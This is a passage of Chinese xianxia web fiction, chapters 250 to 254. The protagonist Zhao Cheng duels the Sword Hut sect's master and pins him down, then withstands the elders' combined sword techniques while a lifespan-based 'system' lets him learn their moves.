赵诚心中亦有惊澜。
对方的目光看似萧疏黯淡,却藏着一种能洞穿人心的锐劲,方才那一瞬间,他竟生出“浑身通透、无所遁形”的错觉。
若非敛藏神通及时发动,怕是真要被看穿底细。
“此人修为深不可测。”
赵诚暗自警惕,也没有贸然做什么,只静静悬在半空,静观其变。
一旁的剑庐长老们听得谢清眠的话,顿时急了,纷纷上前半步,语气带着抑制不住的愤慨。
“掌门师兄!这狂徒哪里是来讨教的?这是上门寻衅!根本没将我剑庐放在眼中!”
“掌门您看。”
一名长老指着地上昏迷的青竹剑瓮,声音发颤,“他在山外追杀剑龙子,还硬生生破开我剑庐山门禁制,把青竹师兄打成这样,道基都损了!
这般张狂无礼,我们岂能还对他礼遇?”
谢清眠的目光扫过青竹剑瓮苍白的脸,又抬眼看向赵诚,神色依旧淡然,听不出半分喜怒。
“阁下此来为何?”
赵诚身躯挺立半空,如青松立崖,声音掷地有声:“吾乃大秦武威君赵诚。
你剑庐弟子剑龙子,胆大包天行刺秦王,我今日特来擒他回秦,依法治罪!”
“掌门明鉴!”
不等谢清眠开口,剑龙子突然抢声喊道。
他脸色先是一白,随即强装理直气壮,指着赵诚的手都在发抖,“弟子从未刺杀秦王!只是此前见此人在城外肆意屠杀百姓,弟子不忍生灵涂炭,才出手阻拦,谁知不敌,反被他一路追杀至山门!”
他说着,眼泪竟还红了眼眶,看向昏迷的青竹剑瓮时,语气更显悲愤。
“本以为师尊和诸位师叔能为弟子做主,震慑此獠,可他竟如此嚣张。
破我山门不说,还重伤师尊,毁了师尊百年剑意,让师尊数十年修为付诸东流!
求掌门为弟子、为师尊做主啊!”
谢清眠静静看着他,目光平静得像一潭深水,直到剑龙子说完,场间沉默了数息,他才缓缓开口,声音不高,却带着穿透人心的力量。
“吾辈修剑,剑心需澄明。”
轻飘飘一句话,没有半句责备,剑龙子的脸色却骤然变得惨白,像被抽走了所有力气。
他张了张嘴,想再辩解,喉咙却像被堵住般,一个字也说不出来。
双手不受控制地颤抖,额角的冷汗顺着脸颊滑落,滴在石阶上。
又过了片刻,他终于撑不住,“噗通”一声跪伏在地,声音带着悔意。
“弟子知错……弟子是……是多年卡在瓶颈难有寸进,心太急了,收了楚国的修行资粮,才答应去刺杀秦王……”
他额头重重磕在地上,声音哽咽:“求掌门责罚。”
谢清眠看着他,眸中依旧没什么波澜,只轻轻点了点头:“门有门规。罚你去后山锻意砺心。”
锻意砺心之罚!
剑庐最重剑心,此罚虽苦,却能保他性命,更能借机磨洗剑心,或许能更进一步。
远比将他交给那可怕的魔头要好上千倍万倍。
剑龙子先是一怔,随即面露狂喜,连忙再次叩首:“谢掌门!弟子定当好好悔悟!”
剑龙子刚撑着地面站起身,伸手想去扶青竹剑瓮,一股刺骨的煞气却笼罩他全身上下。
那煞气并非有形之物,却像数九寒冬的冰棱,顺着毛孔往骨头里钻,让他浑身一僵,指尖离青竹剑瓮的衣襟还有半寸,竟再也不敢往前挪分毫。
“掌门倒是好手段,轻描淡写几句话,就想把谋逆大罪揭过?”
天空之上,赵诚的轻笑声传来,带着毫不掩饰的讥讽。
他周身的锋芒骤然炽盛,如万千无形的剑刃,死死锁定剑龙子,语气冷得像淬了冰。
“今日这刺杀秦王的逆贼若不随我回秦问罪,剑庐怕是讨不到好果子吃!”
“张狂!”
“你一个世俗野修,还想凭一己之力对抗我千年剑庐?”
“方才若不是掌门拦着,你早被我们斩成肉泥了!”
“掌门已有决断,我剑庐之事,轮得到你一个外人指手画脚?”
“剑庐弟子犯错,自有我剑庐门规处置,与你何干!”
“青竹师兄的账还没跟你算,先想想你自己能不能活着走下山!”
长老们顿时炸了锅,个个怒目圆睁,周身剑气再次激荡,连地面的碎石都被剑气卷得打转,只待谢清眠一声令下,便要再次出手。
谢清眠却只是轻轻向前迈了一步。
这一步看似随意,素色青袍扫过地面时,却带起一缕无形的剑意。
那剑意如流水般漫开,瞬间将赵诚锁定剑龙子的煞气尽数消解,连半分寒意都没漏到剑龙子身上。
他抬眼看向赵诚,神色依旧淡然,语气却多了几分不容置喙的笃定:“阁下是大秦武威君,却不是我剑庐的武威君。”
“我剑庐隐世千年,从不过问世俗纷争,并非惧了诸国,不过是遵祖师训诫罢了。”
他的目光掠过剑龙子,又落回赵诚身上,“刺秦王之事,我已给了阁下交代。
但我这青竹师弟道基受损,这笔账,阁下还没给我一个说法。”
话音落下的瞬间,天地间的气息骤然变了。
若说此前谢清眠身上是“悲秋萧瑟”的黯然,此刻弥漫开来的,便是“秋杀万物”的肃杀。
第250章 扬戟断云凝碎月,引秋施流撼天威
空气里的草木清香瞬间消散,取而代之的是一种凉到骨髓的寒意。
远处崖边的古松,叶子竟开始簌簌凋零,连山间的风都似带上了刃,刮过皮肤时隐隐作痛。
这不是剑刃的锋芒,而是一种贴合天地大势的规则之力,像季节更替般不可抗拒,仿佛整个天地都在对赵诚展露杀意,要将他这团“炽烈的生机”彻底凋零。
就像是夏天的草叶茂盛到了极致,就要开始枯萎凋零一般。
即便赵诚周身气势如骄阳般霸道,在这股肃杀面前,竟也隐隐有了被压制的迹象。
可赵诚的眸光非但没暗,反而愈发炽盛,死死盯着下方的谢清眠,眼底甚至闪过一丝兴奋。
这等贴合天地大势的剑意,可比青竹剑瓮的招式精妙多了!
“交代?”
他放声大笑,声音震得云海翻腾,“我是来问罪的,可不是来给你们赔罪的!
我要得交代,自会向剑庐拿。
你要的说法,也尽可自己来拿!”
话音未落,赵诚周身煞气骤然炸涨,如深海海啸般的汹涌,从他周身翻涌而出,直撞云霄。
那煞气带着斩过千军的烈,竟硬生生将谢清眠引动的秋杀寒意撕开一道口子,连天空的云层都被冲得向两侧退去。
他手中方天画戟猛地向上一扬,戟尖划过半空的刹那,丹田内的真元如决堤的瀚海般奔涌而出。
戟尖流转金辉,挥洒出无边云海翻涌如潮!
横断云天!
当此之时,他身边似有无穷蛟鲸翻跃于云海之中,遮天蔽日,气象万千。
整片云海裹挟着蛟鲸,如移动的山岳般轰然压下,锋芒直指谢清眠。
谢清眠抬眼望着这片遮天蔽日的云海,青袍衣角被云风拂得微扬,轻笑一声,洒脱写意。
“倒是个野修小辈,不知天高地厚。”
“不过这一戟的路数,怎么倒像我剑庐的‘云海吞锋’?”
他目光扫过云海的流转轨迹,又意味不明地瞥了眼缩在后面的剑龙子。
说罢,他负手而立,既不抽剑,也不催发真气,只是静静地看,仿若在赏秋。
可就在云海刚刚下压几丈距离时,天地间的肃杀之意突然动了。
风骤然停了,连飘落的树叶都悬在半空。
阳光像被冻住,落在地上的光斑不再移动。
空气凝得像铅块,每一口呼吸都带着割喉的凉。
那片压下来的云海,竟像撞上了一堵无形的“秋日之墙”,先从边缘开始散漫,而后不过瞬息,便迅速消散、沉落,变得“偃旗息鼓”。
场间众长老见之,心中只余下彻骨的凉意和敬畏。
“这是,引天地之势为剑!”
“掌门师兄他……好似突破那一层瓶颈了!”
“嘶……掌门师兄果然天纵奇才,只是下山了一趟,便已经悟通!”
“可惜我等,已经卡在此地几十年,不知何时才能突破啊。”
“既然掌门师兄已经突破那一层瓶颈,今日这狂徒算是有来无回!”
众人都含笑看向半空之中的那道魁影,心中再无半分愤懑和仇视,只剩下释怀和松弛。
无他,对于现在的掌门师兄来说,眼前这战胜了青竹剑瓮的小辈,已经不足一提。
便如那遮天蔽日的云海蛟鲸一般,连指头都不需要动一下,就能够轻易将之抹除。
赵诚眸光一凝,这一戟至此,竟觉得有几分难以为继。
就好像身陷泥沼之中,四面八方都在与自己为敌,天地都在为其借势。
他握紧了方天画戟,眸中战意愈发炽烈。
既然天地为敌,那便斩了这天地!
一声低喝,赵诚第一次将金丹催动到极致。
丹田内的金丹旋转如奔雷,窍穴像被撬开的海眼,真元狂涌时竟带着大河滔滔的崩腾之音,顺着手臂涌入方天画戟。
刹那间,戟身之上腾起熊熊金光,好似焚天烈焰一般腾腾而起,化作了一把金光真元铸就的擎天大戟虚影,金光璀璨,烈烈燃烧。
每一寸都裹着金刚神通的硬,锋锐神通的利,金光烧得空气都发皱,连周围的光线都被吸向戟身。
更恐怖的是,这每一丝都足以撑爆剑龙子这般修士的真元,竟在赵诚的控制下,朝着戟尖疯狂坍缩!
光线被扯成细线,秋杀的寒意像被掐住喉咙,这天地之间的规则与肃杀,都在为之颤抖,甚至摇摇欲坠,几近破裂!
负手而立的谢清眠终于不再如之前那般洒脱写意,他的面色凝重了一些,眸中闪过几丝愕然。
“这一招,又像剑庐的凝心破月,却精妙了不止一筹。”
“而且,这小子的真元怎会到达如此程度??”
“我的剑意、真元,再引入天地大势,竟都有一种压制不住之感?”
“等等!他还有剑意!这剑意……”
察觉到那一戟之中蕴含的深不可测的剑意,他竟感觉自己都看之不透,这一下,真就惊的不轻。
“到底是哪来的小怪物?”
赵诚长吸一口气,魁影遮蔽天光,猛地挥下大戟。
没有惊天动地的巨响,只有所有力量被拧成一线的锐!
如山崩的大势、如海啸的真元,最终都凝在戟尖那一点金光里,化作一道划破空间的流光。
裂穹碎月!
这是将所有力量集结一点的戟法,而这一次又与之前不同,因为赵诚察觉到眼前是生平仅见的高手大敌,所以毫无保留,出手便是全力!
不但将金丹之中的真元一口气放出三成,更是将金刚锋锐神通同时加持,又将领悟到极致的剑庐剑意附于其上!
戟出的瞬间,好似凝缩着无数山岳的厚重流光瞬息跨越空间,所过之处,那天地之间的肃杀之意寸寸崩塌,被尽数抹去!
到了此刻,就连谢清眠都是面色凝重,不敢大意。
亦是全力出手。
流云却水。
他素色青袍的大袖轻拂,手中长剑在空中划出圆转如意的弧线。
此剑势如云卷云舒,柔和而绵密,周围的空间都好似化作了水波,有着阵阵温柔之意,将其环绕起来。
在他身边形成一道看似柔弱、实则无比坚韧的剑意。
第251章 流云却水阻裂穹,镜花水月空冥剑
日光与风色骤然浸了温软,漫过天地时恍若春风拂槛,沁得人五脏六腑都透着舒爽。
谢清眠挥出的剑意,全无慑人的威势,更不见半分凌厉锋芒。
可当那道裂穹碎月的戟光摧枯拉朽撞至身前时,原本寸寸崩裂的肃杀剑意忽得凝住,不再溃散,反倒生出异常的坚韧与柔劲。
将那道快至极致、锋锐至极致、厚重亦至极致的戟光层层裹住。
而后便见那柔劲顺着戟光流转,悄无声息地削弱着“裂穹碎月”的凶势。
让它速度渐缓、力道渐消,一切都如流水归海般自然。
此刻便显见谢清眠与青竹剑瓮的手笔差异。
青竹剑瓮的“层峦叠嶂”虽也坚固,可与谢清眠这“流云却水”比起来,终究多了几分浮于表面的生硬,更偏向以硬抗硬的死守。
而谢清眠的剑意,偏是如春雨润田般无声无息,顺着戟光的力道缠转,偏又暗暗滞缓着那股凶劲,让它斩不穿、破不开,偏又被这柔劲死死绊住,无从挣脱。
唯一的问题是,这道戟光实在快得骇人、锐得刺骨、重得撼心。
即便被“流云却水”层层缠绕,依旧快得惊人,直逼谢清眠面门。
谢清眠脸色微沉。
他万没料到,这金丹小辈竟能将此等招式练到这般境地,再添上对方那远超常理的真元,这一戟压下来,他竟觉胸口发闷,有些接不住了。
无奈之下,他脚尖轻点地面,身形如流云拂袖般向后飘退,故意将“流云却水”的削弱范围拉得更长。
他在退,裂穹碎月却步步紧逼。
戟光中的真元非但没有半分衰竭,反倒在那层层水波剑意的缠绕里,越挣越烈,光芒渐盛,竟隐隐有要撕裂“流云却水”的势头。
谢清眠瞧得心惊,暗道自己这剑意怕是拦不住这一戟了!
没想自己刚入元婴的第一战,竟会在金丹小辈面前落了下风。
他嘴角勾起抹自嘲,眼底却瞬间沉了下来,多了几分凝重。
对方这招与剑庐的“凝心破月”极像,却更精妙、更快。
这类招式的好处本就是够锐、够快。
他用“流云却水”应对,一来是想探探对方的底细,二来也是存了以柔克刚的心思。
只要削慢了这一戟的速度,它便成了没牙的老虎。
他犯不着为了面子硬接,避开便是。
况且,这“流云却水”,本就是为下一剑做的铺垫。
只见他的身影在那水波剑意里飘悠晃荡,竟如流水里的草叶般,透着股随波逐流的松散。
这变化刚一出现,他后退的速度便骤然慢了下来。
那道“裂穹碎月”当即抓住这空隙,瞬间爆发出更强的威势,金光陡盛,所有真元一股脑宣泄而出!
嗤啦!
金光硬生生撕裂层层水意,速度陡增,直冲着谢清眠穿了过去,将他的身影瞬间撕成了两半。
“掌门师兄!”
“怎会如此!”
“不可能!”
“裂穹碎月”快得离谱,谢清眠的应对也都在电光火石间。
前后不过眨眼的功夫,战局便几经变幻,直到谢清眠的身影被撕裂。
众长老瞧着赵诚这一戟竟真将谢清眠斩穿,不由得齐齐惊呼出声,满是难以置信。
赵诚眉峰微挑,眼底掠过一丝讶异。
下一刻,“裂穹碎月”的戟光穿过谢清眠的身影,轰然砸在地面。
剑庐主峰骤然震颤,青石板阶层层崩裂,碎石飞溅如瀑,竟似有陨石坠地般撼天动地。
就在这天灾般的轰鸣里,谢清眠的残影却如被扰动的水波般层层漾开,转瞬便消散无踪。
而他的真身,早已如鸿飞冥冥,悄无声息出现在赵诚身后,手腕轻抖间,长剑已直指其背心要害。
镜花水月空冥剑!
此剑妙在层层铺垫。
先以“流云却水”的柔劲卸力惑敌,待对方攻势催至巅峰时,再借水波剑意演化“镜花水月”的残影。
真身则趁隙隐去,借身法之便绕至敌后。
从头到尾,都在打一个“防不胜防”。
谢清眠心中笃定。
赵诚这一戟全力而出,必是一往无前,此刻斩碎残影,正是旧力刚尽、心防最松之时,无论如何也来不及反应。
嗤啦!
长剑刺入赵诚护体的金刚真元时,虽遇些许阻滞,却于谢清眠而言算不得难事。
剑势未减,依旧摧枯拉朽般直逼其背心要害。
“可惜了。”
谢清眠暗自摇头,眼底掠过几分复杂。
这赵诚悟性根骨皆是上佳,竟能以金丹修为逼得自己动用全力,只可惜心性太过自负张狂。
若他是剑庐弟子,得自己悉心栽培,假以时日,恐怕能踏入那一道门。
如今却因不知进退要陨于此地,实在可惜。
与此同时,众长老终于瞧见谢清眠的真身,惊呼声瞬间转成惊喜。
“竟是镜花水月空冥剑!”
有长老先反应过来,语气里满是振奋。
“妙极!”
另一长老抚掌赞叹,“此剑本是剑庐传承中极难奏效的招式。
对时机把控要求苛刻至极,还需身法与剑意无缝配合方能出奇制胜。
可掌门师兄竟能将它与‘流云却水’融于一体,用得这般天衣无缝,真是妙到毫巅!”
“今日得见师兄用此剑,胜我等十年苦悟啊!”
“我从前总觉此剑是剑庐最鸡肋的招式,今日才知是自己眼界浅薄。
哪有弱的剑法,唯有弱的剑客!”
“那小子全力出戟,正是旧力已尽、新力未生之际,被师兄绕到身后这般近的距离,已是穷途末路了!”
“他这一击虽威势惊人,却也因太过冒进没留半分余地,犯了战斗大忌!”
“山下野修终究是野路子,无门无派的正统传承,连‘刚柔并济’的基本门道都不懂,今日栽了也不冤!”
众长老纷纷摇头,眼底满是轻蔑,一派悠然地望着那柄长剑如破竹般刺向赵诚后心,仿佛已见定局。
可就在这剑势将及要害的刹那。
叮!
一声清脆却震耳的脆响陡然炸开!
第252章 破冥锁敌凝万岳,空冥失算跪金嶂
本是摧枯拉朽的长剑,刺到赵诚后心那层薄如蝉翼的金光时,竟如铁针撞上顽石般猛地顿住。
剑脊被那无形巨力压得弯出一道刺眼的弧光,剑身嗡嗡震颤,却再难寸进半分,仿佛寻常青铜剑撞上了万古不摧的金山。
谢清眠脸色骤变,眼底瞬间炸开难以置信的惊讶!
他难道早有察觉?
他心头一紧,当即催发全身剑意猛力前送,可那层金光非但未破,反倒骤然暴涨,暖金色的光晕如潮水般裹住剑身,连他掌心都传来阵阵发麻的反震力。
谢清眠终于知事不可为,足尖一点地面,身形如孤鸿掠影般向后急退,正是剑庐身法“孤鸿踏雪”,只求尽快脱离这诡异的困局。
可赵诚好不容易将他诱至近前,又怎会容他脱身?
早在谢清眠施展出“镜花水月空冥剑”的刹那,他的破幻神通便已勘破那层残影。
方才任由长剑抵近后心,不过是故意露饵、诱敌深入的算计,同时也是在为调动真元,全力施展万岳归墟做准备。
“既来之,则安之。”
赵诚低笑一声,竖戟震地。
刹那间,半空金芒暴涨,无数被金刚真元裹缠的山岳虚影从虚空中浮现,如天幕倾塌般层层叠压,将谢清眠那道“孤鸿踏雪”的残影牢牢锁在这片空间里。
连那柄已抵到赵诚后心的长剑,也被周遭浮现的金山死死钉住,再难回撤半分。
万岳归墟!
此招脱胎于剑庐的“层峦叠嶂”,借了“层层叠压、以守为杀”的真意,再经赵诚那霸道无匹的金刚真元加持,早已与原版判若云泥。
若说青竹剑瓮的“层峦叠嶂”是层层钢板相叠,那赵诚的“万岳”便是座座紫金神山压境!
一座叠着一座,厚重得似要将天地都压垮,坚固得更是如金汤灌城,连风都透不进来。
谢清眠本就贴身至近,长剑又被钉死在原地,此刻落入“万岳归墟”的笼罩中,纵有“镜花水月”的诡谲、“孤鸿踏雪”的飘逸,也再难借半分天地规则脱身。
这方空间早已被赵诚的真元填满,威势厚重到几乎要将周遭空间压出褶皱,哪还有半分天地规则可供他借势?
不过瞬息间,谢清眠那如孤鸿般飘逸的身影便被镇出空冥,周身仿佛压上了整片山岳。
他只觉四肢百骸都被无形巨力攥住,连动一下手指都艰难无比,骨骼更是发出不堪重负的“咯吱”脆响,仿佛下一刻便要碎裂。
窒息感如潮水般涌来,不仅调动不了半分天地规则,连体内流转的剑意真元都像是被冻住般凝滞,连指尖都难以催动。
更让他心胆俱裂的是,剑客视若性命的剑,他那柄以数十年真元淬炼、早已心意相通的灵剑,此刻竟也被死死钉在原地,剑身在金山重压下发出哀鸣般的颤栗,半分也动弹不得。
谢清眠终于没了半分先前的洒脱写意,脸色惨白如纸,眸中满是震骇与茫然,无数疑问在心头炸开!
“他是如何识破我的镜花水月空冥剑的?”
“又是何时开始布局这等恐怖御守招数的?”
这般兼具宏大与镇压之力的技法,绝无瞬发之理!
若非提前调动真元蓄力,绝达不到如此恐怖的压制效果。
这意味着,早在他施展出“镜花水月空冥剑”的那一刻,赵诚便已识破计谋,甚至同步开始布局反制!
自己……竟从头到尾都在对方的算计里?
天地规则调用不得,剑意真元凝滞不动,连佩剑都被镇压……
难道今日,他这刚入元婴的剑庐掌门,竟要输给一个金丹小辈?
怎会如此!
饶是谢清眠修为深厚、心境沉稳,此刻也难以承受这等落差,指尖因极致的不甘而泛白,连呼吸都变得急促起来。
此时的剑庐山门上空,早已被金光戟意裹挟的山岳虚影填得满满当当。
那虚影连绵无尽,竟似整座紫金山脉从天而降,沉甸甸压在剑庐之巅。
巨力如潮水般漫开,压得剑庐所有长老与弟子胸口发闷,连呼吸都变得滞涩艰难,仿佛下一秒就要被这股威势碾碎。
“那是……什么东西!?”
“层……层峦叠嶂?”
“不,层峦叠嶂无法做到这种程度,这技法,超越层峦叠嶂不知道多少层次!”
“见鬼!这家伙的戟法各个都好似与我剑庐剑法有关,却各个都比我剑庐剑法更胜许多,难不成我剑庐传承,是脱胎于他背后的传承不成?”
剑庐长老们一脸懵逼,开始怀疑自家剑庐传承是山寨的了。
殊不知,对面的赵诚所用戟法,才是山寨的,而且还是刚刚山寨出来的,只不过经过他的推演优化,已经和剑庐传承有着天壤之别了。
当然,以赵诚现如今的剑意领悟,就算是用剑庐本参的剑法,那也是碾压众人。
可现在也不是说这些的时候。
众长老都看的清楚,那半空之上漫天金山之下,可是镇压着他们的掌门师兄。
刚刚还洒脱写意的掌门师兄,此时面红耳赤,满脸惊骇之色,更是身形迟滞,别说剑招了,就连身法都变了形。
反击更是无从说起。
众人的心瞬间开始无限下沉。
“师兄不会……要败了吧?”
“怎么可能,师兄就算是再金丹境界,凭他的天资,也是比我们胜了不止一筹,如今更是突破了金丹,踏入了元婴境界,对付一个金丹小辈,又算得了什么?”
“莫慌莫慌,且看师兄……师兄怎么跪了!?”
“哇呀!不对劲!”
众人本还满怀信心,但半空之中的谢清眠却坚持不住了。
他怎么也没有想到,这小子的真元竟然无穷无尽一般,持续不断地押入那漫天金山之上。
那无穷金刚山岳一层叠着一层,不但固若金汤,更是厚重无比,万重金山压下来,还有一股归墟之意,让他浑身一点真元都调不起来。
就算他如今踏入了元婴之境,那也是神识和真元的精进,肉身就算强,没有真元与天地规则加持,那也是强的有限。
被这样厚重的万重归墟金山一压,骨头都快要碎了,如何还能坚持的住,当下双腿一软,就跪趴了下去。
谢清眠那是既无边羞愤,又震骇不已。
不过是一着不慎,怎会毫无反击之力。
对方这一招,竟是一点破绽都没有,直接将他打入绝地,完全无法翻身。
亏他也天资纵横,年纪轻轻就于一众师兄弟之间脱颖而出,成为了剑庐掌门。
胸中剑术浩如烟海,却无一招能用。
元婴更是在体内震颤着,那天地规则却枯竭一般,调用起来艰难万分。
这四周金山,竟连天地规则都挤压的极尽枯竭,所剩不多的一点,勉强调动也根本无法抗衡哪怕一座金山。
当真是穷途末路!
第253章 怒龙冲阵锁金墟,群锋撼岳尽徒劳
剑龙子是个心气极高的人,一直以来都自认天赋卓绝!
自然,不论是他的师父青竹剑瓮,还是这些作为剑庐长老的师叔们,也都是如此和他说的。
但自入门以来,剑龙子一直都将剑庐掌门谢清眠认作为自己一生要追赶的目标。
在其心中,世上天赋最强,当代最为惊才绝艳之辈,唯有掌门师叔,谢清眠。
此人五岁入门,是上一代最小的弟子。
但他六岁感炁,八岁开窍,十一岁开辟丹田筑基,二十三岁便凝聚极品金丹,剑庐诸多绝学,尽数领悟于心,与同门切磋对战,无穷绝学信手拈来,无一败绩。
从小师弟,变成了掌门师兄。
如今,更是突破瓶颈,结婴归山。
这是剑庐无数年轻子弟心目之中的神明,是最为敬仰的人,是剑道的信仰。
天知道,当掌门师叔洒脱笑着护下他时,他的心里是如何激动。
那是他一路走来的指路明灯,是他一生为之努力奋斗的方向。
但如今,那惊才绝艳的掌门,却趴跪在那魔头身前,被紫金深山压得喘不过气!
剑龙子仰头望着,嘴巴不自觉张成了个圆,瞳孔骤缩,先前满是崇敬的眼神瞬间被失神填满,连呼吸都变得剧烈急促起来。
片刻后,他喉间发出压抑的嗬嗬声,眼底的失神渐渐被猩红取代,终是睚眦欲裂。
下一秒,他几乎是本能地握紧长剑,剑鞘“哐当”落地,人已嘶吼着冲了上去:“魔头!我跟你拼了!”
轰!
然而他刚刚冲到那紫金深山的边角处,就感觉到一股无边无际的巨大力量贯通下来。
经脉里的真元瞬间如受惊的鸟雀般四散,五脏六腑像是被无形的大手攥住拧转,眼前猛地炸开一片金星!
剑龙子脑子瞬间清醒了几分,想往后退,却发现身子像被磁石吸住般动弹不得。
那紫金神山竟裹着一股诡异的摄取之力,不仅震散了他的真元,还将他硬生生拽进镇压范围,牢牢锁在其中!
浑身剧痛中,眼前的黑暗越来越浓,剑龙子这才真正意识到,赵诚这招“万岳归墟”的威势,远比他想象中恐怖。
“剑龙子!”
众长老本就被谢清眠下跪的场景惊得僵在原地,见剑龙子也被镇压,顿时再也坐不住。
有人率先拔剑,紧接着,场中响起此起彼伏的剑鸣。
无数锋锐剑气交织成团,如银色长虹直冲云霄,狠狠斩在横亘剑庐上空的紫金神山之上。
可预想中的崩裂并未出现,只有“叮叮当当”的脆响不断传来,像细针敲在铜钟上。
诸位长老气得面色涨红,额角青筋突突直跳,睚眦欲裂:
“小辈尔敢!”
“竟然敢堵在我剑庐山门对我掌门如此折辱!”
“就算是讨教,怎可如此!?”
“师兄弟们,一起出手,今天务必不能让他或者走下山门!”
“先救掌门!”
场面瞬间失控,一道道剑庐绝学如雨后春笋般冲天而起,剑气搅动得云层翻涌,连风都带着凌厉的锋芒。
“千山暮雪凝锋诀!”
白须长老剑指苍穹,漫天剑气瞬间凝出簌簌雪粒,又化作层层霜华,寒芒凛冽如暮冬飞雪,带着碾压之势朝着紫金神山撞去
“巽风惊雷隐剑势!”
青衣长老剑走轻灵,周身卷起呼啸巽风,风中有细微雷弧噼啪闪烁,无数剑气藏于风雷之中,直抵金山!
“沧海月明浮光引!”
蓝袍长老手腕轻转,剑气化作粼粼波光,如月夜下的沧海翻涌,细碎光刃随着浪涛起伏,层层漫卷向神山表面,似要寻隙渗透!
“坐忘无我化虚剑!”
闭眼长老周身剑气渐淡,竟与天地灵气融为一体,剑招若有若无,只在神山表面留下几缕近乎透明的剑痕,却透着直抵本源的锐利。
“百劫千幻无回式!”
红发长老剑招陡变,剑气分化出千百道虚影,每道虚影都带着不同的斩击轨迹,如历劫流星般密集坠落,每一道都是一往无前!
“阴曦潜渊噬光剑!”
黑袍长老剑走阴柔,剑气化作暗紫色流光,贴着地面潜游,如深渊黑暗般缠上神山根基,所过之处连金光都似被销蚀几分!
“游蝶穿花迷踪势!”
最年轻的女长老剑势灵动,剑气化作成群彩蝶,在神山周围穿来绕去,时而聚成剑网,时而散作星点,试图扰乱镇压之力。
一时之间,剑庐上空剑影纵横、光影交错,当真如八仙过海般各显神通。
赵诚见状,亦是面色微变,有些无奈的看了一眼趴跪在地的谢清眠。
看来是没法一个一个领会绝学了。
但这不能怪我啊,我真没想折辱谁!
谁能想到你们掌门看起来这么强,这么从容自若,结果却扛不住自己这一招万岳归墟。
其实谢清眠突然切入到他的身后,也让他有了危机感。
于是将金丹之内的近半真元全都一口气放了出来,用于施展万岳归墟,如若不然,还真没有这么大的阵仗。
但谁想,这一招结合了剑意和金刚神通之后,竟然如此强势。
直接把谢清眠镇压了不说,甚至还将他给压跪了。
这属实不是他的本意,他还想跟这剑庐掌门好好学几招呢,谁能想到这么不抗揍啊。
这下好了,剑庐长老纷纷暴动了。
也不知道万岳归墟扛不扛得住。
轰!
下一刻,各式剑气便如潮水般撞了上来!
浮光掠影的刃、翻涌如涛的浪、劈裂长空的雷、灵动穿隙的蝶……
每道剑气都带着独有的锋芒,朝着赵诚与紫金神山斩下。
可那万岳归墟当真如一座亘古不变的山岳,横亘在剑庐山门上空,任由千万道斩击落下,尽数稳稳接住。
金光流转间,竟真有几分“归墟之境”的意味,固若金汤,牢不可破。
众长老的绝学撞上神山,要么被金光震得偏了方向,要么直接消散无踪。
最多也只在边缘一座山岳上削去小半块山脚,大部分攻击连让神山晃动的幅度都微乎其微。
这一下,一群活了大半辈子的长老彻底傻眼了。
“这是什么玩意!?”
第254章 演颓诱锋拆剑诀,轮攻耗岳终难破
“打不破?”
“这一剑用去了我的大半真元,连一座山头都没有削掉?!”
“不是……若是只有一层山岳,老子倒是也能理解他能如此坚固,这他娘的遮天蔽日的,一眼望不到边,每一座都这么硬!?“
“这家伙的金丹是什么做的,能承载这么多恐怖的真元!?”
闹麻了!
众长老看着那横亘天空的巨大山脉,闪烁耀耀金光,一时之间头皮发麻,竟是无从下手。
他们终于真正意识到赵诚的恐怖之处。
这一招,就算别人学去了,也根本用不到这种效果。
感觉极品金丹只是门槛,稍微差一点,连用都用不出来!
这家伙到底是什么妖怪!?
他刚刚要是弄出这种招数来,青竹师兄何必和他打,呸,根本没必要打!
一时之间,众长老那是愁云惨淡,眉头不展。
而赵诚等了半晌,感觉对方只打了个水花,然后就偃旗息鼓了,不由得也意外。
不是,我消耗这么多真元,你们就放个响?
这怎么行?
赵诚眼睛一转,魁躯突然一阵摇晃,脸色又又又又开始变得苍白了。
而横亘在剑庐上空的紫金山脉也开始变得暗淡,覆盖范围也迅速变小。
甚至那被镇压在山脉边缘,快要被压死的剑龙子都掉了出去,落在地上半死不活。
“看!他后力不济了!”
有长老接住剑龙子,惊喜说道。
其余长老纷纷看去,顿时也都惊喜起来。
“果然是后力不济,他维持不了多久了,掌门师兄撑住啊!”
“等等,不太对劲!
刚才他和青竹师兄对决时,就表现得摇摇欲坠,好似没有真元,坚持不住了一样,但现在一看,他哪里是没有真元,明明就是伪装的,他一定是隐藏着某种阴谋诡计!”
众人一想,确实如此!
纷纷惊出一身冷汗,“他如此作态,定是所图甚大!”
“可是他到底意欲何为?”
“不对,之前可能是在戏耍师兄,但是现在,这一招出来,就算是掌门师兄也经不住如此宏大招法的真元消耗,我觉得,他这一次真元耗尽,明显是真的!”
“那还等什么!?攻上去,救出师兄,杀了小贼!”
“攻!”
一时之间,众长老又来了脾气,纷纷出手,猛轰那紫金山脉。
天际之上,又是一阵狂轰乱炸,无穷剑气四处纷飞,紫金神山震荡不休,摇摇晃晃,始终屹立不倒。
只是金光愈发暗淡。
在众师兄弟的强攻之下,谢清眠肩头的压力似是减轻了几分,他鼓起余力颤颤巍巍,竟缓缓直起了身子。
他指尖凝聚起一缕微弱的天地规则之力,裹住自己的神识,如同风中残烛般摇曳,艰难地朝着不远处的灵剑探去。
那剑被紫金神山的威压钉在地上,剑身还在微微震颤,似是也在呼应主人的召唤。
赵诚却也没闲着,一边维持着刚刚好的万岳归墟,一边将清明破幻神通运转到极致,全神贯注的拆解各方长老的剑招。
【你观看他人剑法有所领悟,可投入寿命推演百劫千幻无回式】
【你观看他人剑法有所领悟,可投入寿命推演千山暮雪凝锋诀】
【你观看他人剑法有所领悟,可投入寿命推演阴曦潜渊噬光剑】
【你观看他人剑法有所领悟,可投入寿命推演游蝶穿花迷踪势】
【……】
又过了约莫一刻钟,赵诚睁开双眸,眸中竟有八分疲惫。
这次不是装的,是真的疲惫。
这一刻的消耗有多恐怖?
他要在剑庐长老们的绝学围攻之下,维持万岳归墟而不反击,这是极大的消耗,换做剑庐自己的掌门来,在这样的攻势下都要避其锋芒,若是硬扛,必不能全身而退。
而他不但要顶住,还要运转清明破幻,在那混乱的剑招绝学之中拆解精髓。
若非将剑庐传承真意推演到了出神入化,他根本就做不到十分之一。
如今就算做到了,那也是心力和真元都几近枯竭。
不过好在系统之中,还剩下几千年寿命,他凝练了两枚千年回元丹药吞下之后,金丹之中的真元恢复了四成。
这让赵诚自己都有些哭笑不得。
这金丹修的太猛了。
导致连系统出品的千年回元丹,都只能回两成金丹真元。
如今眼看所剩寿命无多,只剩下四千多年,赵诚的心在滴血。
但再看看下方的剑庐长老们,以及那被镇衙在万岳归墟之中,始终没放弃夺回自己灵剑,还在全力挣扎的谢清眠,他的心中又平衡了一些。
